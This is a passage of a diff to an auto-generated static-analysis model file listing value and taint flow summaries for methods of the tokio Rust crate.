"ReturnValue.Field[crate::io::util::buf_stream::BufStream::inner]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::buffer", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::buf]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -149,7 +140,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::apply_read_buf", "Argument[0].Field[crate::io::util::vec_with_initialized::ReadBufParts::initialized]", "Argument[self].Field[crate::io::util::vec_with_initialized::VecWithInitialized::num_initialized]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_read_buf", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take", "Argument[self].Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF32::dst]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF32Le::dst]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF64::dst]", "value", "dfc-generated"] @@ -174,36 +164,34 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU64Le::dst]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU8::dst]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::io::util::write_int::WriteU8::byte]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::loom::std::barrier::Barrier::num_threads]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[crate::loom::std::barrier::BarrierWaitResult(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::wait", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::wait_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split::ReadHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read_buf", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split::WriteHalf(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split_owned::OwnedReadHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split_owned::OwnedWriteHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read_write", "Argument[0]", "Argument[self].Field[crate::net::unix::pipe::OpenOptions::read_write]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read_write", "Argument[0]", "ReturnValue.Field[crate::net::unix::pipe::OpenOptions::read_write]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read_write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[0]", "Argument[self].Field[crate::net::unix::pipe::OpenOptions::unchecked]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[0]", "ReturnValue.Field[crate::net::unix::pipe::OpenOptions::unchecked]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -226,7 +214,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uid", "Argument[self].Field[crate::net::unix::ucred::UCred::uid]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::net::unix::socketaddr::SocketAddr(0)]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::process::Command::std]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::arg0", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -250,7 +237,8 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stdin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stdout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::inner_mut", "Argument[self].Field[crate::process::imp::reap::Reaper::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::process::imp::pidfd_reaper::PidfdReaper::orphan_queue]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::process::imp::reap::Reaper::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::process::imp::reap::Reaper::orphan_queue]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[2]", "ReturnValue.Field[crate::process::imp::reap::Reaper::signal]", "value", "dfc-generated"] @@ -333,7 +321,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[0]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::synced]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[1]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::len]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[1]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -351,7 +338,11 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_raw", "Argument[self].Field[crate::runtime::task::Notified(0)].Field[crate::runtime::task::Task::raw]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Field[crate::runtime::task::Task::raw].Field[crate::runtime::task::raw::RawTask::ptr]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::task::Task::raw].Field[crate::runtime::task::raw::RawTask::ptr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_notified", "Argument[self].Field[crate::runtime::task::UnownedTask::raw]", "ReturnValue.Field[crate::runtime::task::Notified(0)].Field[crate::runtime::task::Task::raw]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[3]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::cancelled", "Argument[0]", "ReturnValue.Field[crate::runtime::task::error::JoinError::id]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self].Field[crate::runtime::task::error::JoinError::id]", "ReturnValue", "value", "dfc-generated"] @@ -375,21 +366,15 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::time::entry::TimerEntry::deadline]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Field[crate::runtime::time::entry::TimerHandle::inner]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::time::entry::TimerHandle::inner]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::handle", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::time_source", "Argument[self].Field[crate::runtime::time::handle::Handle::time_source]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_time", "Argument[self].Field[crate::runtime::time::source::TimeSource::start_time]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::tick_to_duration", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::elapsed", "Argument[self].Field[crate::runtime::time::wheel::Wheel::elapsed]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[0]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration_time", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[0]", "Argument[self].Field[crate::runtime::time::wheel::Wheel::elapsed]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_at", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::time::wheel::level::Level::level]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration", "Argument[self].Field[crate::runtime::time::wheel::level::Level::level]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::runtime::time::wheel::level::Expiration::level]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take_slot", "Argument[self].Field[crate::runtime::time::wheel::level::Level::slot].Element", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::signal::registry::Globals::extra]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::storage", "Argument[self].Field[crate::signal::registry::Globals::registry].Field[crate::signal::registry::Registry::storage]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw_value", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw_value", "Argument[self].Field[crate::signal::unix::SignalKind(0)]", "ReturnValue", "value", "dfc-generated"] @@ -402,7 +387,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[crate::sync::barrier::BarrierWaitResult(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[0]", "ReturnValue.Field[crate::sync::batch_semaphore::Acquire::num_permits]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[self]", "ReturnValue.Field[crate::sync::batch_semaphore::Acquire::semaphore]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::forget_permits", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -415,8 +399,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::broadcast::WeakSender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::WeakSender::shared]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self].Field[crate::sync::broadcast::WeakSender::shared].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::broadcast::Sender::shared]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::release", "Argument[self].Field[crate::sync::mpsc::bounded::OwnedPermit::chan].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[self].Field[crate::sync::mpsc::bounded::OwnedPermit::chan].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::chan]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::mpsc::bounded::Permit::chan]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -436,7 +418,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Full(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::bounded::WeakSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::bounded::WeakSender::chan]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::chan::Tx::inner].Reference", "ReturnValue.Field[crate::sync::mpsc::chan::Tx::inner]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade", "Argument[self].Field[crate::sync::mpsc::chan::Tx::inner].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::mpsc::chan::Tx::inner]", "value", "dfc-generated"] @@ -453,13 +434,11 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::unbounded::WeakUnboundedSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::unbounded::WeakUnboundedSender::chan]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::mutex::MappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::mutex::MappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mutex::MutexGuard::lock]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mutex::OwnedMutexGuard::lock]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] @@ -481,7 +460,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::once_cell::SetError::AlreadyInitializedError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::once_cell::SetError::InitializingError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::const_with_max_readers", "Argument[1]", "ReturnValue.Field[crate::sync::rwlock::RwLock::mr]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::owned_read_guard::OwnedRwLockReadGuard::lock]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_write", "Argument[self].Field[crate::sync::rwlock::RwLock::mr]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::write_guard::RwLockWriteGuard::permits_acquired]", "value", "dfc-generated"] @@ -535,7 +513,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many_owned", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::permits]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::forget_permits", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::permits]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] @@ -559,8 +536,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[1]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::future].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[self]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::local]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sync_scope", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_with", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_waker", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::time::instant::Instant::std]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::time::error::Error(0)]", "value", "dfc-generated"] @@ -596,7 +571,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[0]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::filter]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[self].Field[crate::util::linked_list::LinkedList::head]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::curr]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[self]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::list]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::last", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_back", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_back", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::result::Result::Ok(0)]", "ReturnValue", 